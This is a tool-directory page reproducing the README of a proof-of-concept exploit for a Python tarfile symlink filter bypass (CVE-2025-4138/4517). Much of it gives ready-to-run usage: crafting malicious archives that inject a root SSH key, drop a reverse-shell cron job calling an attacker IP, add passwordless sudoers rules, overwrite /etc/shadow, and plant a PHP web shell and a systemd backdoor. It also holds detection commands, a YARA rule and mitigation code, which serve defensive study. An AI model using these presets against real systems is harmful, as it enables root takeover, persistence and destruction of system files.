Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-4138-4517-POC — CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass | Kitploit
Tools/GitHubGitHub/desertdemons/cve-2025-4138-4517-poc
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubdesertdemons/cve-2025-4138-4517-poc

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass

View Repository
1722 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Python Affected

CVE-2025-4138 / CVE-2025-4517
Python tarfile Filter Bypass via PATH_MAX Symlink Escape

Arbitrary file write through filter="data" / filter="tar" extraction

Type CWE-22 Platform Language License Stars Forks Last Commit


Table of Contents

  • Overview
  • Vulnerability Details
  • How It Works
  • Affected Versions
  • Affected Code Pattern
  • Installation
  • Usage
    • Quick Start — SSH Key Injection
    • Preset Attacks
    • Custom Target
  • Proof of Concept — Safe Verification
  • Technical Deep Dive
    • PATH_MAX and os.path.realpath()
    • Symlink Chain Construction
    • Filter Bypass Mechanism
    • Exploitation Stages
  • Real-World Attack Scenarios
  • Detection
  • Mitigation
  • Related CVEs
  • Timeline
  • References
  • Credits
  • Disclaimer
  • License

Overview

A critical vulnerability in Python's tarfile module allows an attacker to bypass extraction filters ("data" and "tar") and write arbitrary files outside the intended extraction directory. When a privileged process (e.g., a root-level backup script, CI/CD pipeline, or package installer) extracts an attacker-controlled tar archive using the supposedly-safe filter="data" parameter, this exploit achieves full arbitrary file write as that privileged user — typically escalating to root.

The root cause is a behavioral quirk in os.path.realpath(): it silently stops resolving symlinks once the fully-expanded path exceeds PATH_MAX (4096 bytes on Linux, 1024 on macOS). The tarfile filter relies on realpath() for safety checks, but the kernel resolves symlinks independently during extraction — creating a TOCTOU (Time-of-Check-to-Time-of-Use) gap that enables directory escape.


Vulnerability Details


How It Works

root@kitploit:~
                    ┌───────────────────────────────────────────┐
                    │         Malicious Tar Structure            │
                    └───────────────────────────────────────────┘

  Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

    ddd...ddd/              (directory, 247 chars)
    a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
    ddd...ddd/ddd...ddd/    (nested directory)
    b  →  ddd...ddd         (symlink)
    ...  ×16 levels

    Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
    Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                               ↑ nearing PATH_MAX

  Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

    a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                            (16 levels of ".." — traverses back to extraction root)

    ┌─────────────────────────────────────────────────────────────────┐
    │  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
    │  Linux kernel         DOES follow chain  →  actually escapes ✗ │
    └─────────────────────────────────────────────────────────────────┘

  Stage 3 ── Escape symlink resolves to arbitrary filesystem path

    escape  →  <overflow_link>/../../../../../../../root

  Stage 4 ── Create intermediate directories through the escape

    escape/.ssh/            (directory, mode 0700 — created by tar extraction)

  Stage 5 ── Write payload through the escaped symlink

    escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓

Affected Versions

Note: Python 3.14+ changed the default filter parameter from no filtering to "data", meaning applications that previously had no filter (and were thus already unsafe) now use the vulnerable filter by default.


Affected Code Pattern

Any application doing this on a vulnerable Python version is exploitable:

root@kitploit:~
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

Common real-world occurrences:

  • Backup/restore scripts running as root
  • CI/CD pipelines extracting build artifacts
  • Package managers and installers processing .tar distributions
  • Web applications accepting user-uploaded archives
  • Configuration management tools extracting deployment bundles

Installation

root@kitploit:~
git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git
cd CVE-2025-4138-4517-POC

# No dependencies — uses only Python standard library
python3 exploit.py --help

Requirements: Python 3.6+ (for archive creation — the target must run a vulnerable version)


Usage

Quick Start — SSH Key Injection

root@kitploit:~
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

Important: The exploit automatically creates intermediate directories (e.g. /root/.ssh/) inside the tar archive. If the target directory does not exist on the filesystem, extractall() will create it during extraction.

Preset Attacks

root@kitploit:~
# Reverse shell via cron (every minute)
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

# Passwordless sudo for user "john"
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

# SSH key with custom file mode
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub \
    --mode 0600 --tar-out evil.tar

Custom Target

Write any content to any absolute path on the target filesystem:

root@kitploit:~
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

Proof of Concept — Safe Verification

Test whether a system is vulnerable without touching sensitive files:

root@kitploit:~
# 1. Create isolated test environment
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract
echo "original_content" > /tmp/cve_test/flag/testfile

# 2. Generate PoC tar targeting the test file
python3 exploit.py \
    --target /tmp/cve_test/flag/testfile \
    --payload "OVERWRITTEN_BY_CVE-2025-4138" \
    --tar-out /tmp/cve_test/poc.tar

# 3. Extract with filter="data" (simulating a vulnerable application)
python3 -c "
import tarfile
tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall(
    '/tmp/cve_test/extract', filter='data'
)
"

# 4. Check result
cat /tmp/cve_test/flag/testfile
#   Vulnerable:  "OVERWRITTEN_BY_CVE-2025-4138"
#   Patched:     "original_content"  (extraction raises error)

# 5. Cleanup
rm -rf /tmp/cve_test

Quick Version Check

root@kitploit:~
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

Technical Deep Dive

PATH_MAX and os.path.realpath()

On Linux, PATH_MAX is defined as 4096 bytes. On macOS, it is 1024 bytes. When os.path.realpath() resolves a path component-by-component and the accumulated resolved path exceeds this limit, it silently stops resolving remaining components and appends them as literal strings.

root@kitploit:~
os.path.realpath() behavior:

  Input:   /extract/a/b/c/.../p/llll.../../../../../root/.ssh
                                  │
                                  ├── resolved portion: /extract/ddd.../ddd.../...  (3968+ bytes)
                                  └── unresolved tail:  /../../../../root/.ssh
                                                        ↑ appended literally!

  Output:  /extract/ddd.../ddd.../ddd.../../../../../root/.ssh
           │                                                  │
           └── Starts with /extract/ → filter says "OK" ✓     │
                                                               └── But the ../ is real!

This is a documented behavior of realpath(), but the tarfile filter implementation did not account for it.

Symlink Chain Construction

Each level of the chain consists of:

After 16 levels:

Filter Bypass Mechanism

The data_filter in Python's tarfile module performs this check:

root@kitploit:~
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

The vulnerability:

  1. realpath() receives: /extract/a/b/c/.../p/lll.../../../../../root/.ssh
  2. realpath() resolves the a/b/c/.../p portion through the symlink chain → 3968+ bytes
  3. PATH_MAX exceeded → remaining ../../../../root/.ssh is appended literally
  4. Result: /extract/ddd…(3968 chars)…/../../../../root/.ssh
  5. Filter check: starts with /extract/ → passes ✓
  6. Kernel extraction: follows actual symlinks → resolves ../ normally → escapes to /root
  7. Directory creation: escape/.ssh is extracted as a directory → creates /root/.ssh/ (mode 0700)

Exploitation Stages

root@kitploit:~
┌────────────────────────────────────────────────────────────────────────┐
│                        EXPLOIT PIPELINE                                │
├────────────────────────────────────────────────────────────────────────┤
│                                                                        │
│  Stage 1: PATH_MAX Inflation                                           │
│  ┌─────────┐   ┌─────────┐        ┌─────────┐                          │
│  │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │  ×16 levels            │
│  └─────────┘   └─────────┘        └─────────┘                          │
│       Resolved path accumulates to ~3968 bytes                         │
│                                                                        │
│  Stage 2: Pivot Symlink (exceeds PATH_MAX)                             │
│  ┌──────────────────────────────────────────┐                          │
│  │ a/b/c/.../p/lll...lll → ../../... (×16)  │                          │
│  └──────────────────────────────────────────┘                          │
│       realpath() cannot resolve → filter is blind                      │
│                                                                        │
│  Stage 3: Escape Symlink                                               │
│  ┌──────────────────────────────────────────┐                          │
│  │ escape → <pivot>/../../../../<target_root>│                         │
│  └──────────────────────────────────────────┘                          │
│       Points to the target's top-level parent (e.g. /root)             │
│                                                                        │
│  Stage 4: Create Intermediate Directories                              │
│  ┌──────────────────────────────────────────┐                          │
│  │ escape/.ssh  (DIRTYPE, mode 0700)         │                         │
│  └──────────────────────────────────────────┘                          │
│       Ensures parent dirs exist (e.g. /root/.ssh) — critical           │
│       for targets where the parent directory may not exist             │
│                                                                        │
│  Stage 5: Payload Write                                                │
│  ┌──────────────────────────────────────────┐                          │
│  │ escape/.ssh/authorized_keys = payload     │                         │
│  └──────────────────────────────────────────┘                          │
│       File is written through the escaped symlink as the               │
│       process owner (typically root)                                   │
│                                                                        │
└────────────────────────────────────────────────────────────────────────┘

Real-World Attack Scenarios

1. Privileged Backup Restoration

A backup script running as root extracts user-provided tar archives:

root@kitploit:~
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

Impact: Attacker supplies a malicious backup → writes SSH key to /root/.ssh/authorized_keys → gains root shell.

2. CI/CD Pipeline Artifact Extraction

A build system extracts artifacts from untrusted sources:

root@kitploit:~
# Jenkins/GitLab runner extracting build output
tar.extractall(path=workspace_dir, filter="data")

Impact: Malicious artifact escapes workspace → overwrites CI configuration → achieves code execution on build infrastructure.

3. Web Application Upload Processing

A web app accepts and extracts tar uploads:

root@kitploit:~
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

Impact: Remote attacker uploads crafted tar → writes web shell to document root → achieves RCE.

4. Package Installation

Python package managers extracting source distributions:

root@kitploit:~
# pip/setuptools extracting sdist
tar.extractall(path=build_dir, filter="data")

Impact: Malicious PyPI package escapes build directory → modifies system files.


Detection

Indicators of Compromise

Monitor for these patterns that may indicate exploitation:

root@kitploit:~
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

YARA Rule

root@kitploit:~
rule CVE_2025_4138_Malicious_Tar {
    meta:
        description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass"
        cve = "CVE-2025-4138"
        severity = "critical"
    strings:
        $long_dir = /d{240,250}\// ascii
        $chain = /[a-p]\/[a-p]\/[a-p]\/[a-p]/ ascii
        $pad = /l{250,}/ ascii
        $traversal = "../../../" ascii
    condition:
        uint16(0) == 0x0000 and
        $long_dir and $chain and ($pad or #traversal > 8)
}

Mitigation

1. Upgrade Python (Recommended)

root@kitploit:~
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

2. Pre-Extraction Validation (Workaround)

If immediate upgrade is not possible:

root@kitploit:~
import pathlib
import tarfile

def safe_extract(tar_path: str, dest: str) -> None:
    """Extract tar archive with CVE-2025-4138 mitigation."""
    with tarfile.open(tar_path, "r") as tar:
        for member in tar.getmembers():
            # Block symlinks with traversal in link targets
            if member.linkname:
                parts = pathlib.PurePosixPath(member.linkname).parts
                if ".." in parts:
                    raise ValueError(
                        f"Blocked: '{member.name}' has traversal "
                        f"in linkname: '{member.linkname}'"
                    )
            # Block absolute symlink targets
            if member.issym() and member.linkname.startswith("/"):
                raise ValueError(
                    f"Blocked: '{member.name}' has absolute "
                    f"symlink target: '{member.linkname}'"
                )
        # Re-open to reset iterator
        tar.extractall(path=dest, filter="data")

3. Sandboxed Extraction

root@kitploit:~
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

4. Alternative Extraction Tools

root@kitploit:~
# Use GNU tar instead of Python tarfile
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/

Related CVEs

All were addressed in CPython Issue #135034 and PR #135037.


Timeline


References

  • GHSA-hgqp-3mmf-7h8f — Google Security Research Advisory & Original PoC
  • CPython Issue #135034 — Upstream Bug Report
  • CPython PR #135037 — Fix Commit
  • PSF Security Announcement — Official Advisory
  • Seth Larson's Mitigation Gist — Quick Mitigation Script
  • NVD — CVE-2025-4138
  • NVD — CVE-2025-4517
  • Python tarfile Extraction Filters Documentation
  • Linux realpath(3) Man Page — PATH_MAX behavior

Credits

  • Vulnerability Discovery: Caleb Brown — Google Security Research
  • Patch Authors: Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
  • This PoC: DesertDemon

Disclaimer

⚠️ This tool is provided strictly for authorized security testing, research, and educational purposes.

Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, and equivalent legislation worldwide. Always obtain explicit written authorization before testing any system you do not own.

The author assumes no liability for misuse of this software. By using this tool, you agree that you are solely responsible for your actions and that you will comply with all applicable laws.


Tags: cve-2025-4138 cve-2025-4517 python tarfile path-traversal symlink privilege-escalation arbitrary-file-write toctou cwe-22 linux macos

License

This project is licensed under the MIT License.


🔐 If you find this useful, consider starring the repo
📫 For responsible disclosure inquiries, open an issue or contact via GitHub

Download Tool
FieldValue
CVE IDsCVE-2025-4138, CVE-2025-4517
CVSS v3.19.4 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWECWE-22 — Improper Limitation of a Pathname to a Restricted Directory
Vulnerability TypePath Traversal via Symlink / Filter Bypass
ImpactArbitrary file write → privilege escalation, sandbox escape, data tampering
Attack VectorDeliver malicious tar archive to any application using tarfile.extractall() with filters
AffectedPython 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
Fixed InPython 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
PatchCPython PR #135037
AdvisoryGHSA-hgqp-3mmf-7h8f
ReporterCaleb Brown — Google Security Research
Python BranchVulnerable RangeFixed VersionStatus
3.133.13.0 – 3.13.33.13.4✅ Patched
3.123.12.0 – 3.12.103.12.11✅ Patched
3.113.11.4 – 3.11.123.11.13✅ Patched
3.103.10.12 – 3.10.173.10.18✅ Patched
3.93.9.17 – 3.9.223.9.23✅ Patched
3.83.8.17 – 3.8.20—❌ End of Life
3.14+Default filter changed to "data"Check latest⚠️ Higher exposure
PresetTarget FileDescription--extra Param
ssh-key/root/.ssh/authorized_keysInject SSH public key for root login—
cron/etc/cron.d/pwnedDrop a root reverse shell cron jobLHOST IP address
sudoers/etc/sudoers.d/pwnedAdd NOPASSWD sudo rule for a userUsername
shadow/etc/shadowOverwrite shadow file (⚠️ destructive)—
passwd/etc/passwdOverwrite passwd file (⚠️ destructive)—
EntryTypeName LengthPurpose
DirectoryDIRTYPE247 chars (Linux) / 55 chars (macOS)Long name inflates resolved path
SymlinkSYMTYPE1 char (a, b, …, p)Short alias for the long directory
MetricValue
Short path (via symlinks)a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ≈ 31 chars
Resolved path (via dirs)ddd…/ddd…/ddd…/… ≈ 3968 chars
PATH_MAX4096 bytes
Remaining budget~128 bytes — not enough for the traversal payload
  • Payload write: escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys
  • CVEDescriptionSeverity
    CVE-2025-4138Symlink target filter bypass via PATH_MAX overflowCritical
    CVE-2025-4517Arbitrary file write via realpath overflow (same root cause)Critical
    CVE-2025-4330Symlink path traversal bypassing extraction filtersHigh
    CVE-2024-12718File metadata modification outside extraction directoryHigh
    CVE-2025-4435Filtered files still extracted when errorlevel=0Medium
    CVE-2007-4559Original tarfile path traversal (no filter era)High
    DateEvent
    2025-04-30Vulnerability reported to Python Security Response Team
    2025-06-02Public issue opened — CPython #135034
    2025-06-03Fix merged — CPython PR #135037
    2025-06-03PSF Security Announcement published
    2025-06-03Patched releases: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
    2025-06-04CERT-FR advisory CERTFR-2025-AVI-0475
    2025-06-20Google Security Research advisory GHSA-hgqp-3mmf-7h8f
    2025-07-20Full disclosure